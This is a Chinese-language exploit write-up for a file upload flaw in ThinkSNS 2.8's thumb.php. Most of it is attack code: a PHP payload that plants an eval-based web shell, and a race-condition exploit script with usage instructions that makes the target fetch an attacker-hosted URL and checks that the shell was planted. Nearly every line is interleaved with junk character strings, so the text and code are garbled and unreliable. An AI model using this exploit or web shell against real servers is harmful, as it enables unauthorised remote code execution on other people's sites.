漏洞版本8 Z0 S! J8 X1 n8 I
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
2 ? `) x: O$ a" c0 @. M漏洞文件
/ k$ t4 o$ @; G存在漏洞的文件为:thumb.php
. E3 x4 F/ B, G/ ]0 d作者:韦鲲鹏 F2 U/ l8 {- C
1、 准备如下PHP文件并上传到服务器(自己的)。0 N& Z" H0 b b# n6 H+ Y2 c
文件内容如下:
) X1 X: c6 e- D! q" Q<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
6 D. w8 e- \6 q2、 计算出临时的文件名:
" S3 ?; ]9 y7 Z1 W/ x, J- W: l7 j这里我们可以看文件的99行(刚刚是不是没注意呀!)。+ l! p! A$ ?* y' |' ~" a0 D9 Y
! L2 }6 j1 ]& S" i0 _) t6 ~) N3 q3、 上传临时文件。$ e! n2 s0 E* z+ t- W- S
4、 访问临时文件。
6 Y; N; N2 l2 M6 b& x- P但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
2 M% L! K' Z9 V. fExploit文件内容如下:(这个我就不详细解释了)- }. w8 A6 q; h! R. S7 O
<?php
! K1 X$ P6 e7 x: ]error_reporting(0);
. X f \" O/ M$ @7 v# \set_time_limit(0);
" W) X; f5 u7 N( r Kini_set(“default_socket_timeout”, 5);
# W6 d/ e6 x% H/ Wfunction http_send($host, $port, $headers) {0 ]" h, k7 d' H5 D
$fp = fsockopen($host, $port);
3 l E: n0 X( _: Gif (!$fp) die(‘Connection -> fail’); v0 M7 k( O `5 X# h. Z0 t1 F
fputs($fp, $headers);
% P d. u: b5 i1 Ureturn $fp;' h0 H, ?- C* K
}
5 P G$ R/ r% _" _* efunction http_recv($fp) {
, T7 S9 d+ Y3 K# r$ret=”";6 s5 M1 w N8 Z! v" H
while (!feof($fp))
7 ~% z; g p* ?, l6 [# t$ [ T0 l, B$ret.= fgets($fp, 1024);" n" H( K1 X* o. ~
fclose($fp);
, P) d0 t/ z( j( L9 n8 X8 l6 u; ireturn $ret;7 O0 h1 S+ K% p
}
8 v' I6 s7 h' v* Z, iprint “\n# ThinkSns Arbitrary File Upload #\n”;
! M- n8 ^, ]7 \, ]/ p" \6 hprint “# Discovered by 韦鲲鹏 #\n\n”;/ u$ o6 r; U# Z4 U' p% g1 W
if ($argc < 4) {. G) S( h/ I- a. n5 v9 H' A. ~0 z4 U
print “Usage: php <host> <path> <romote_url>\n”;( z' K* e7 a$ t
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;$ p# Y3 ], \ [7 D( r, W
die();
" B! Y# |* I+ W+ s- b}
1 M. w {6 Y+ O: n' x/ _+ j% @* D$host = $argv[1];
! ^/ y: T, g$ ^+ ?, S7 V$path = $argv[2];3 O0 v$ S4 {, R% \" |1 R; ]" N$ ]
$url = $argv[3];
- a' w9 ~! t5 k$i=0;
9 t1 d$ q$ w& _2 J7 r* J' K//上传数据包
5 m1 m6 Y( [( b: y# D$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;( h/ ^& d' ]9 {' V& h1 d0 T
$headers_up .= “Host: “.$host.”\r\n”;
0 A$ G: k9 I r' R$headers_up .= “Connection: close\r\n\r\n”;
5 @' s0 h0 j& J4 g7 eecho $headers_up;# m# m0 k+ N4 M8 ^% ]
//临时文件访问数据包
' j k$ @; [0 d( P/ o$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;: L7 M. g0 P! o$ a8 u; Q4 f
$headers .= “Host: “.$host.”\r\n”;
0 H# [1 T# l' I0 k: p) y6 _6 \$headers .= “Connection: close\r\n\r\n”;* k% e! z$ Z" k3 L7 }
echo $headers;& S+ S/ B+ N7 t3 q' I
while(++$i<10) {6 o3 d1 X9 z: N
fclose(http_send($host, 80, $headers));# S, _- i2 P. R% l
}
1 x; U0 w) t G! a' ^: y* H5 q: N& y4 dfclose(http_send($host, 80, $headers_up));
: v' S+ g: ~- D3 }# O8 C0 K- l o% [2 ~while(++$i<50) {. u# ~; A0 Z% w4 z
fclose(http_send($host, 80, $headers));
9 m9 b J; z2 }/ c; P ]}
) J& I" ^( \; F5 S" ^1 @. N$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
* b3 F3 Y; n: x* K$headers .= “Host: “.$host.”\r\n”;7 C$ G5 e* V) _0 Z* X' H: r4 x$ K4 }
$headers .= “Connection: close\r\n\r\n”;4 ^9 p% e% r | b3 c, K
$res=http_recv(http_send($host, 80, $headers));
: y# e# e" _7 O9 }( q" M# y1 Qif(preg_match(‘/200 OK/’,$res)) {* P) A. c$ c' j& O
print “Success!\n\n”;
, F( l% C0 \6 m% D" E. d1 a2 K1 V} else {% B7 ?/ A9 T& w& z: u3 T
print “Fail!\n\n”;
4 w) o$ p0 l) r. Y; Y/ d" }}. G3 l% M. S/ X! g* f# S( t( T1 t. A
?># k6 a% m/ j3 W
|